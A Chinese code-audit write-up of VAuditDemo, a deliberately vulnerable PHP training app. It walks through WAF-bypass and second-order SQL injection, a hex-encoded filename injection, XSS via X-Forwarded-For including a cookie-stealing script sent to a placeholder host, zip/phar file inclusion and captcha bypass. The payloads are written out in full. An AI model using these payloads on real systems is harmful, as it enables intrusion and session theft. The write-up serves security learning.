先提一嘴,代码审计流程大概可以归结为:把握大局,定向功能,敏感函数参数回溯。
本文也是按照此思路进行,还在最后增加了漏洞修补方法。
本人平时打打CTF也有接触过代码审计,但都是零零散散的知识点。希望借此机会全面提升自己的代码审计能力。共勉!
首先看一下目录结构吧。
VAuditDemo
├── about.inc
├── admin //管理员目录及功能
│?? ├── captcha.php
│?? ├── delCom.php
│?? ├── delUser.php
│?? ├── index.php
│?? ├── logCheck.php
│?? ├── login.php
│?? ├── manageAdmin.php
│?? ├── manageCom.php
│?? ├── manage.php
│?? ├── manageUser.php
│?? └── ping.php
├── css //样式文件存储目录
│?? ├── bootstrap.css
│?? ├── bootstrap.min.css
│?? ├── bootswatch.less
│?? ├── bootswatch.min.css
│?? └── variables.less
├── footer.php //页首文件
├── header.php //页尾文件
├── images //图片文件存储目录
│?? └── default.jpg
├── index.php //入口文件
├── install //安装文件目录
│?? ├── install.php
│?? └── install.sql
├── js //js文件目录
│?? ├── bootstrap.min.js
│?? ├── bootswatch.js
│?? ├── bsa.js
│?? └── check.js
├── messageDetail.php //留言详情文件
├── message.php //留言显示及提交文件
├── messageSub.php //留言提交处理文件
├── search.php //留言查找文件
├── sys //配置文件目录
│?? ├── config.php
│?? ├── install.lock
│?? └── lib.php
├── uploads //文件上传目录
└── user //普通用户目录及功能
├── avatar.php
├── edit.php
├── logCheck.php
├── login.php
├── logout.php
├── regCheck.php
├── reg.php
├── updateAvatar.php
├── updateName.php
├── updatePass.php
└── user.php
总的来说,
1、user目录里大概就是普通用户可以使用的功能了。
2、admin目录大概就是要登陆admin账户才能使用的功能了。
3、sys目录包含一些配置文件还有放一些过滤函数的文件。
4、uploads目录为上传文件存放的目录
5、sess目录(自建)用来存放session文件
6、根目录下有index.php,再看看message*.php大概就是实现留言的文件,search.php顾名思义是查询文件。
这里大家可以自行继续跟一下比较敏感且重要的文件,比如:config.php, lib.php, regCheck.php等等,对所有代码有个大概整体的思路,以便于后续的有针对性地代码审计工作。
我自己也会继续跟,但在这里就不一一细讲了。
漏洞所在:/install/install.php
很明显,这块header执行跳转,但是并没有终止代码的运行,所以可以看到部分敏感信息,抓个包试试。
当然,我们更想看到图形界面。那就截获返回的数据包,将状态码改成200,Location去掉即可显示到网页上。
要看密码很简单了,审查元素改为text就行,value里面也有。
漏洞所在:messageDetail.php
payload: 7 un||ion sele||ct *,2 fro||m admin#
这里解释下,sqlwaf里先将union转换成sqlwaf,再将||转换成空。所以我们依据他们的次序构造sql注入。
un||ion => union
这里SELECT * FROM comment WHERE comment_id = 7得到的结果是四列,而联合查询后面的sql得到的结果必须也是4列不然会报错,所以使用*,2多加一列。
至于这里为什么不用admin_username,原因是sqlwaf将下划线_转义成了_会导致注入失败。
漏洞所在:updateName.php
可以看到这里直接获取用户输入的用户名和id,并以此来进行更新,造成水平越权漏洞。
原来的用户名
将admin1的用户名改成hacker
成功越权修改
漏洞所在:admin/ping.php
很多管理员页面的功能都是如此,毫无过滤,这里也不例外,直接一把梭就行了
漏洞所在:admin/login.php
可以看到是从session中读取验证码,那么如果我们没有session呢?
可以看到,这里没有验证码也登陆成功了。所以就可以依据此思路爆破密码。
漏洞所在:user/avater.php
看到file_get_contents敏感函数,跟一下,看一下变量是否可控。
跟进user/updateAvatar.php
可以看到$_SESSION[‘avatar‘] = $avatar,并且$avatar是可控。
一种思路:抓包文件名为1∕..∕..∕sys∕config.php,但是这里php文件不能上传。
另一种思路:构造文件名,利用update改变数据库中的avatar,再重新登陆,这样$_SESSION[‘avatar‘]就会在数据库中读取被我们污染的$avatar。
执行的sql:UPDATE users SET user_avatar = 'xxxx',user_avatar = '../index.php' WHERE user_name = 'admin1'#.png
filename: ',user_avator = '../index.php' WHERE user_name = 'admin1'#.png
看到第二条,发现没有更改成功。但是还有办法,mysql支持十六进制,我们将user_avator改成十六进制即可。
filename: ‘,user_avatar = 0x2E2E2F696E6465782E706870 WHERE user_name = ‘admin1‘#.png
重新登陆一下,看看我们的session文件,成功修改了。
访问avatar.php查看源代码即可得到index.php源码
漏洞所在:user/reg.php + message.php
注册一个admin\用户,看看数据库的结果。
来分析一下
输入admin\的时候,被转译成admin\,然后经过clean_input的stripslashes编程admin,在经过clean_input的mysql_real_escape_string又变成admin\,这是前面的\转义了后面的,且不会写进数据库,所以现在我们的用户名在数据库中就是admin。
竟然这样,很容易想到,如果读出用户名没有进行再次转移的话,可以造成单引号的转义,我们继续看。
我们知道$_SESSION[‘username‘]肯定是登陆后,从数据库读出的用户名,所以我们重新登陆一下。
regCheck.php
我们用户名变成admin\了,那么我们可以再找找有没有利用点,可以把单引号转义的那种。
看看messageSub.php,这里确实的‘{$_SESSION[‘username‘]}‘,我们的用户名是admin,那么得到的结果是‘admin‘,可以将后面的单引号转义
验证一下。
payload:,(select @@datadir),now());#
没问题,转义了一个引号,执行了我们构造的sql语句,成功二次执行。
漏洞所在:user/logCheck.php + admin/manageUser.php
还记得我们在admin页面能看到什么吗?用户与评论。
那是否有xss呢?
我们先来看看评论查看页面,看到做了html实体编码,基本是没戏了。
再来看看用户信息查看页面,完全没有过滤。而且经过通读代码我们知道,login_ip我们是可以控制的,基本上是有戏了!
logCheck.php里获取IP的代码是:$ip = sqlwaf(get_client_ip());
这里的sqlwaf完全没有过滤特殊标签的,所以是可以实现xss的。
登陆admin1的时候用x-forwarded-for来伪造ip,得到如下payload
x-forwarded-for: <script>alert(1);</script>
可以看到弹窗了,并且admin1的ip是空的。
常规思路打cookie,当然这里没有
<script>document.write("<img src=http://xxxx?tk="+document.cookie+" />");</script>
再看看能不能csrf添加管理员发现也不可行,因为sqlwaf过滤了or,而表单需要用到form。
漏洞所在:index.php
这里限制了后缀为.inc,但是并没有对module参数进行限制,所以我们能用zip协议或者phar协议来绕过.inc后缀限制执行php代码。
主要步骤:
1.新建一个A1oe.inc,文件内容为 <?php phpinfo();?>。
2.压缩该文件,并该文件名为A1oe.jpg (因为只能上传图片文件)。
3.找到Date时间,并转换为时间戳,得到文件名u_1584257982_A1oe.jpg。 (具体解释看后面)
4.使用zip或者phar伪协议读取文件,执行php代码。
?module=zip://uploads/u_1584257982_A1oe.jpg%23A1oe 或者
?module=phar://uploads/u_1584257982_A1oe.jpg/A1oe
成功看到phpinfo页面。
拓展:
文件命规则是:$avatar = $uploaddir . ‘/u_‘. time(). ‘_‘ . $_FILES[‘upfile‘][‘name‘];
我们很容易可以得到Date(上传时打开浏览器的network查看),从而得到文件名。要做的就是将Date转换成时间戳。
echo strtotime(‘2020-03-15 15:39:42‘); //1584257982
zip和phar伪协议宝包含文件参考:https://blog.csdn.net/Fly_hps/article/details/86609730
依据你的php版本还有中间件(版本)的不同,漏洞数量和利用方式可能会有所不同。
比如我这里用的是php5.4.5是不存在%00截断漏洞的。
所以玩这个demo的时候,可以调整调整环境来玩,我这里只是抛砖引玉,希望大家自己能玩的开心。
原文:https://www.cnblogs.com/A1oe/p/12494344.html